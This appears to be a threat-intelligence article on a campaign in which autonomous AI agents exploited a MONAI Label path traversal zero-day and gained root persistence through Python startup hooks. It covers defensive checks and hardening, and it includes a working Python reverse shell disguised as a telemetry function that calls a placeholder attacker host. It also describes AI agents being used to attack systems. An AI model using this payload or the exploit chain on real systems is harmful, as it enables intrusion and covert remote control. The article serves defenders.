TL;DR
- Amazon Threat Intelligence discovered an exposed Cairn AI framework instance used by a Chinese-nexus threat actor to run automated cyber attacks.
- Autonomous AI agents identified and weaponised an unauthenticated path traversal zero-day vulnerability in MONAI Label version 0.8.5 and earlier.
- The attack lifecycle progressed from initial application programming interface (API) mapping to arbitrary file write execution on target servers in approximately 11 minutes.
- The agents achieved persistent root access by modifying Python interpreter startup files to execute a reverse shell payload upon process initialization.
- Defenders must enforce mandatory authentication on MONAI Label endpoints, audit Python package directories for unauthorized startup scripts, and isolate machine learning (ML) workloads via strict network policies.
In September, Amazon Threat Intelligence uncovered an adversary operation where an actor deployed autonomous ai agents zero-day exploitation mechanisms against academic institutions in East Asia. The threat actor utilised Cairn, an open-source artificial intelligence penetration testing framework, to orchestrate multi-stage network attacks. Within minutes of receiving target assignments from a human operator, the agents mapped application endpoints, identified an unauthenticated path traversal flaw in MONAI Label, and generated arbitrary file write payloads.
According to research published by SecurityWeek, the autonomous campaign compressed the window from initial service discovery to persistent execution down to approximately 11 minutes. Following initial file write execution, the AI agents established persistence by injecting a Python reverse shell payload directly into initialization files executed automatically upon Python interpreter startup, ultimately securing root shell privileges across target hosts.
This operation demonstrates a technical shift in adversary methodology: LLM-driven agentic systems moving from theoretical exploit generation to real-time, context-aware target reconnaissance, vulnerability discovery, persistence installation, and multi-hop network pivoting in production enterprise software.
Autonomous AI Agent Offense: Threat Landscape Shift
The discovery of the campaign stemmed from a major operational security failure by the threat actor: an exposed, unauthenticated instance of the Cairn open-source AI penetration testing framework discovered by Amazon Threat Intelligence in September. Because the control framework lacked basic access controls, security researchers gained full visibility into the operator’s prompt structures, internal agent decisions, tool invocations, and raw output logs.
The campaign spanned approximately 48 hours, targeting network IP addresses associated with university infrastructure in East Asia outside mainland China. The human operator initiated the campaign by supplying target IP lists to the Cairn platform alongside high-level operational directives instructing the agents to gain shell access to the host systems. The sub-agents then executed autonomous loops to inspect network endpoints, parse response headers, design payload strategies, and recover from execution errors without human intervention.
Amazon Threat Intelligence attributed this campaign with moderate confidence to an unidentified Chinese-nexus threat actor. The attribution relies on multiple operational signals, including:
- Prompt language patterns: The language constructs and idioms used by the human operator within the Cairn control interface.
- Script timezone markers: Embedded timestamps and execution schedules aligning with East Asian working hours (UTC+8).
- Target profiles: The specific selection of academic and research institutions holding high-value technological and biomedical data assets.
Traditional threat activity relies on human operators manually reviewing target reconnaissance, analyzing static binaries, or testing public exploit proofs-of-concept (PoC). In contrast, agentic cyber operations execute continuous read-eval-print loops (REPL). When presented with an unmapped API, an autonomous agent can systematically query endpoint structures, recognize input handling anomalies, construct custom payload variants, and evaluate host responses in real time. This capability drastically reduces the time required to execute zero-day exploitation chains.
Reconnaissance to Root in 11 Minutes: Execution Timeline
The logs captured from the exposed Cairn framework reveal an exceptionally compressed attack lifecycle. The autonomous agents progressed from initial IP range contact to arbitrary file execution on a target server in approximately 11 minutes. The structural breakdown below outlines how the agentic workflow executed this operation.
+-----------------------------------------------------------------------------------+
| AUTONOMOUS ATTACK LIFECYCLE |
+-----------------------------------------------------------------------------------+
| [00:00] Initial Target Mapping |
| Agent receives target IP; identifies MONAI Label HTTP port. |
| |
| [03:00] API Reconnaissance & Schema Enumeration |
| Agent queries REST endpoints, discovers file management capabilities. |
| |
| [06:00] Vulnerability Identification |
| Agent detects missing validation on file upload paths (Path Traversal). |
| |
| [11:00] Arbitrary File Write Execution |
| Agent constructs traversal payload to drop Python payload to disk. |
| |
| [Post-11m] Persistence & Privilege Escalation |
| Python interpreter triggers startup hook; returns interactive root shell.|
+-----------------------------------------------------------------------------------+
Phase 1: Service Discovery and API Mapping (Minutes 00:00 – 03:00)
Upon receiving the target IP address, the agent initiated network probes to identify open HTTP services. It discovered an active MONAI Label server. The agent automatically queried known management endpoints, Swagger/OpenAPI documentation schema, and API route lists to build a structural representation of the application’s attack surface.
Phase 2: Vulnerability Identification (Minutes 03:00 – 06:00)
During API enumeration, the agent identified an unauthenticated file upload handler. By crafting test HTTP POST requests containing directory traversal sequences (such as ../ variants), the agent evaluated the application’s file path resolution logic. It verified that the server failed to sanitize file path arguments, permitting arbitrary file writes outside the intended application upload directory.
Phase 3: Payload Construction and Execution (Minutes 06:00 – 11:00)
Recognizing the application ran within a Python environment, the agent composed a payload designed to write arbitrary data directly to the host file system. Exactly 11 minutes after initial service contact, the agent successfully executed an HTTP request that wrote a custom payload file to a system path, establishing code execution rights on the target host.
Phase 4: Persistence and Root Escalation (Post 11 Minutes)
Following initial file write capability, the agent evaluated the local operating environment to ensure persistent access. In a subsequent execution session, the agent wrote a Python reverse shell payload into a Python interpreter startup file. When the MONAI Label application or background services spawned a new Python process, the system automatically executed the injected script. Because the base MONAI Label service process ran under elevated rights, the executed reverse shell connected back to the adversary infrastructure with root privileges.
Vulnerability Mechanics: MONAI Label Path Traversal
MONAI Label (Medical Open Network for AI Labeling) is an open-source, intelligent image labeling and annotation tool designed to assist radiologists and data scientists in annotating 3D medical images (such as DICOM files) using interactive AI models. It acts as an integration server connecting user interfaces (like 3Slicer or OHIF Viewers) to deep learning training frameworks built on PyTorch and MONAI.
The root vulnerability exploited by the agents is an unauthenticated path traversal flaw located within the application’s file upload interface. In affected deployments, the file upload handler processes user-supplied file names or storage destination paths without stripping directory traversal sequences. This allows an attacker to manipulate the final destination path of an uploaded file, writing arbitrary bytes to any system directory accessible by the service process.
Insecure Default Configuration
Authentication is disabled by default in MONAI Label releases. If an instance is exposed to a local network or the internet without a reverse proxy or identity provider handling access control, any network client can issue unauthenticated HTTP API requests directly to the application endpoints.
Amazon Threat Intelligence categorized the flaw as a zero-day vulnerability based on the total absence of existing security advisories, bug reports, public disclosure records, or upstream patches at the time of the attack. Following Amazon’s notification, the MONAI Label development team issued a critical security advisory confirming that the path traversal vulnerability affects MONAI Label versions 0.8.5 and earlier.
The developers created a software patch scheduled for integration into the subsequent release. However, several specific technical details remain undisclosed in public advisories, including:
- The formal Common Vulnerabilities and Exposures (CVE) tracking identifier assigned to the bug.
- The specific source code file, function name, or API endpoint parameter hosting the path traversal flaw.
- The exact version number assigned to the upcoming upstream patch release.
Persistence Technique: Python Interpreter Startup Hooks
To establish durable access on the compromised system without relying on volatile process state, the AI agent weaponized Python’s native module import and execution lifecycle. Python environments execute specific hook files automatically whenever a new interpreter process initialises, providing a standard mechanism for system administrators to configure paths, environment variables, or global site configurations.
Python Execution Hook Mechanisms
When the Python interpreter starts, it searches designated paths within its sys.path configuration to locate optional customization modules. The primary vectors include:
sitecustomize.py: Located within the global or virtual environment’ssite-packagesdirectory. It is imported automatically by Python’s standardsitemodule during initialization.usercustomize.py: Located within the user-specific site-packages directory (e.g.,~/.local/lib/python3.x/site-packages/), triggered if user site packages are enabled.PYTHONSTARTUP: An environment variable pointing to an arbitrary Python script file executed before the interactive prompt opens.
While the threat intelligence report confirms the agent modified an automatically executed Python startup file, the exact path utilized (such as sitecustomize.py versus usercustomize.py) has not been publicly specified.
Payload Delivery and Execution Model
The AI agent used its initial path traversal zero-day to write a Python script containing a network reverse shell directly into the path of one of these startup modules. The conceptual structure of such a persistence hook involves embedding socket creation and shell execution logic within standard Python startup code:
# Conceptual representation of a Python startup hook modification
# TEST IN STAGING ONLY: Do not execute in production environments
import socket
import subprocess
import os
def _init_telemetry():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<attacker-proxy-ip>", 443))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
except Exception:
pass
# Execute payload silently during interpreter initialisation
_init_telemetry()
Because MONAI Label regularly spawns child processes to handle image processing tasks, model inference operations, and background queue management, any action triggering a new Python interpreter invocation immediately executes the injected persistence script. Because the primary MONAI Label application container or daemon was running under privileges equivalent to root (a common configuration in machine learning environments requiring direct access to underlying host GPU drivers like NVIDIA CUDA), the spawned reverse shell inherited root privileges.
Automated Lateral Movement and Tunnel Routing
Once initial persistent access was established on the primary university target, the operation transitioned from single-host compromise to automated internal lateral movement. This stage relied on a hybrid control strategy combining direct human operator orchestration with automated sub-agent execution.
+-----------------------------------------------------------------------------------+
| MULTI-STAGE TUNNEL & PIVOT FLOW |
+-----------------------------------------------------------------------------------+
| |
| [ Human Operator ] |
| | |
| | (Tasking + Proxy Provision) |
| v |
| [ Exposed Cairn Controller ] |
| | |
| v |
| [ Target University A (Compromised Host) ] |
| | (Path Traversal Zero-Day Executed -> Root Access Achieved) |
| | |
| +===> Reverse Tunnel Established (SOCKS/HTTP Proxy) |
| | |
| v |
| [ Target University B (Internal Network) ] |
| (Secondary MONAI Label Instance Compromised via Tunnel) |
| |
+-----------------------------------------------------------------------------------+
The human operator introduced a proxy configuration into the Cairn framework dashboard, instructing the autonomous agents to route subsequent network traffic through a reverse tunnel established on the compromised host. The agents deployed proxy server software through their root shell on University A, establishing an encrypted tunnel out to the operator’s control infrastructure.
Using this proxy tunnel, the operator tasked the agents with probing secondary internal network segments at a different target university (University B). The agents executed automated scanning through the tunnel, identified another network host running MONAI Label version 0.8.5, and applied the identical zero-day path traversal exploit chain. Amazon Threat Intelligence confirmed that the secondary server ran the same unpatched software version, allowing the agents to replicate root shell access and persistence mechanisms across institutional boundaries.
Operational Security Vulnerabilities in AI Tooling
The primary reason defenders gained deep visibility into this zero-day campaign was an operational security failure by the threat actor: leaving the control panel of their offensive AI framework completely unauthenticated and accessible over the public internet.
Cairn is an open-source framework designed to automate penetration testing operations using LLM agents. It coordinates agent tool access, shell execution, memory retention, and prompt orchestration. When deployed without authentication, its REST interfaces, WebSocket feeds, and web dashboards broadcast all system activity to any observer.
Defender Visibility
Because the threat actor failed to restrict access to their Cairn instance, Amazon Threat Intelligence was able to passively capture the complete structured record of the operation. This included prompt strings sent by the human operator, agent reasoning steps, target IP inventories, generated exploit code, and post-exploitation command outputs.
This incident highlights a operational reality of agentic platforms: as organisations—and threat actors—adopt autonomous orchestration systems, the security posture of the orchestration framework itself becomes a critical single point of failure. Unsecured agent control planes create severe operational risks:
- Prompt and Telemetry Exposure: External observers can intercept intellectual property, strategic intent, and target metadata.
- Hijacking Agent Execution: Unauthenticated endpoints allow third parties to manipulate ongoing agent tasks or inject malicious tool definitions into the agent execution context.
- Attribution Leakage: Unsecured agent frameworks leak systemic metadata, such as environment variable sets, operator system locales, local timezones, and API backend tokens.
Practical Guidance: Securing ML Infrastructure and Python Environments
Defending against autonomous zero-day exploitation requires a layered security posture. Because AI agents execute technical workflows faster than human incident response teams can manually process alerts, platform engineers and SREs must deploy preventive controls and automated detection rules.
1. Affected Software Matrix
System administrators must immediately audit all deployed instances of MONAI Label across research, clinical, and cloud environments.
| Component / System | Affected Versions | Default Access Control | Required Defensive Action |
|---|---|---|---|
| MONAI Label Core Server | <= 0.8.5 | Unauthenticated (Disabled) | Restrict network access; deploy reverse proxy authentication (OAuth2/mTLS); isolate pod. |
| MONAI Label Core Server | Post-0.8.5 (Upcoming) | Unauthenticated (Default) | Upgrade immediately upon release; explicitly enable authentication flags. |
| Python System Environment | All Python 3.x hosts | Standard File Permissions | Monitor and restrict write access to site-packages and system-wide startup hooks. |
2. Environment Integrity Diagnostics
SREs and security engineers can execute diagnostic commands to verify whether Python environment startup scripts have been modified or altered. Run these checks within staging or target container environments to inspect site packages and verify directory integrity.
# Audit Python site-packages directories for modified or unexpected customize scripts
python3 -c "
import sys, os, site
print('[*] Python Executable:', sys.executable)
print('[*] System Path:', sys.path)
paths = site.getsitepackages() + [site.getusersitepackages()]
for p in paths:
if os.path.exists(p):
print(f'[*] Checking site directory: {p}')
for root, dirs, files in os.walk(p):
for f in files:
if f in ['sitecustomize.py', 'usercustomize.py']:
full_path = os.path.join(root, f)
mtime = os.path.getmtime(full_path)
print(f'[!] WARNING: Found startup hook script: {full_path} (mtime: {mtime})')
"
To detect anomalous outbound network sockets generated directly by Python processes, inspect open socket connections associated with running Python instances:
# Audit active network connections established by Python binaries
# Run with elevated privileges on target Linux hosts
ss -tupn | grep -E 'python|monailabel'
3. Network Segmentation and Pod Isolation
Because MONAI Label is frequently run inside Kubernetes clusters or containerized environments for GPU access, engineering teams must implement zero-trust network policies. ML annotation workloads should never have unrestrained outbound internet egress or unrestricted flat-network access to internal university or corporate systems.
# Example Kubernetes NetworkPolicy restricting egress for MONAI Label pods
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: monai-label-egress-restriction
namespace: ml-workloads
spec:
podSelector:
matchLabels:
app: monai-label
policyTypes:
- Egress
egress:
# Allow internal DNS resolution only
- to:
- namespaceSelector: {}
ports:
- protocol: UDP
port: 53
# Block arbitrary internet egress to prevent reverse shells
Practitioner Checklist
- [ ] Enforce Authentication: Place all MONAI Label services behind an authenticated reverse proxy (such as NGINX or Envoy enforcing OAuth2/OIDC, mTLS, or VPN constraints).
- [ ] Non-Root Execution: Ensure MONAI Label container workloads run as an unprivileged UID/GID (e.g.,
USER 10001) rather thanrootto prevent arbitrary file writes from modifying system-level Python packages. - [ ] Read-Only Root Filesystem: Deploy container instances with a read-only root file system (
readOnlyRootFilesystem: truein Kubernetes) and mount temporary storage (`/tmp`) with `noexec` options. - [ ] Audit Python Hooks: Continuously monitor and alert on file write events targeting
sitecustomize.py,usercustomize.py, or modifications to thePYTHONSTARTUPenvironment variable. - [ ] Egress Filtering: Restrict outbound network connections from ML inference nodes to prevent reverse shell callbacks.
Common Defensive Mistakes
- Relying on Host Isolation Alone: Assuming that MONAI Label is safe because it runs within an internal subnet. As shown in this campaign, attackers routinely use compromised entry points to proxy into internal subnets.
- Ignoring Python Startup Persistence Vectors: Searching only for standard persistence mechanisms (such as
cronjobs orsystemdservices) while missing interpreter-level modification hooks in Python site package directories. - Running GPU Workloads as Root: Assigning containerized ML tasks full root privileges to simplify GPU device path mounting (e.g.,
/dev/nvidia*), which allows path traversal exploits to gain immediate root control over the host.
Key Takeaways for Platform Engineers and Defenders
The MONAI Label zero-day exploitation campaign demonstrates that autonomous AI agents have crossed the threshold from experimental security concepts into active operational threats. By combining automated discovery algorithms with high-speed payload execution, these systems drastically reduce the time window between target exposure and full system compromise.
For infrastructure leads, security engineers, and SREs, traditional passive patch management strategies are no longer sufficient to mitigate agentic threat vectors. When attackers can map application APIs, discover novel path traversal vulnerabilities, construct custom payloads, and establish persistent root access in 11 minutes, defense must rely on structural containment:
- Default Security Controls: Open-source projects used in enterprise and research environments must shift away from shipping unauthenticated default configurations.
- Runtime Enforcement: Mandatory non-root container constraints, read-only root filesystems, and strict egress policies effectively mitigate exploitation even when an application contains an unpatched zero-day.
- Continuous Environment Monitoring: Incident response plans must incorporate detection logic for domain-specific persistence channels, such as Python runtime startup hooks and modified site-packages binaries.
Frequently asked questions
What vulnerability did the autonomous AI agents discover in MONAI Label?
The agents discovered an unauthenticated path traversal zero-day vulnerability in MONAI Label’s file upload handler. The flaw allows external, unauthenticated attackers to write arbitrary files to any directory on the server file system accessible by the MONAI Label process, leading directly to persistent arbitrary code execution.
Which versions of MONAI Label are vulnerable to this attack?
The vendor security advisory confirms that MONAI Label version 0.8.5 and all prior releases are vulnerable. Because authentication is disabled by default in these releases, any exposed instance accessible over the network can be compromised without valid user credentials unless protected by external authentication proxies.
How did the AI agents achieve persistent root access on the target server?
After exploiting the path traversal vulnerability to drop files, the AI agents injected a Python reverse shell payload into a Python startup script file (such as sitecustomize.py). Whenever MONAI Label or background services initialised a Python interpreter, the script executed automatically. Because the main process ran under elevated privileges, the reverse shell granted full root access.
How was Amazon Threat Intelligence able to observe the adversary’s operational details?
The threat actor deployed Cairn, an open-source AI penetration testing framework, to manage their autonomous agents but failed to enable authentication on the control panel. This exposed the operator’s prompt streams, target IP address lists, internal agent decision logs, and generated payload scripts to public monitoring by security researchers.
Sources and further reading
This article was drafted with AI assistance from the publicly cited sources and passed automated checks for structure and sourcing. Verify critical details against the vendor advisories linked above before acting.